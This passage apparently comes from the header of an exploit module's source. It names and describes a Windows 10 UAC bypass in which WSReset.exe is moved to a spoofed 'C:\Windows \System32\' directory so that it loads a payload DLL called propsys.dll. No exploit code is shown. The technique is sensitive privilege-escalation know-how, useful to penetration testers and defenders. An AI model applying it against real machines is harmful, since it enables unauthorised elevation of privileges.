'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)',
'Description' => %q{
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
is run with the "autoElevate" property set to true, however it can be moved to
a new Windows directory containing a space (C:\Windows \System32\) where, upon
execution, it will load our payload dll (propsys.dll).
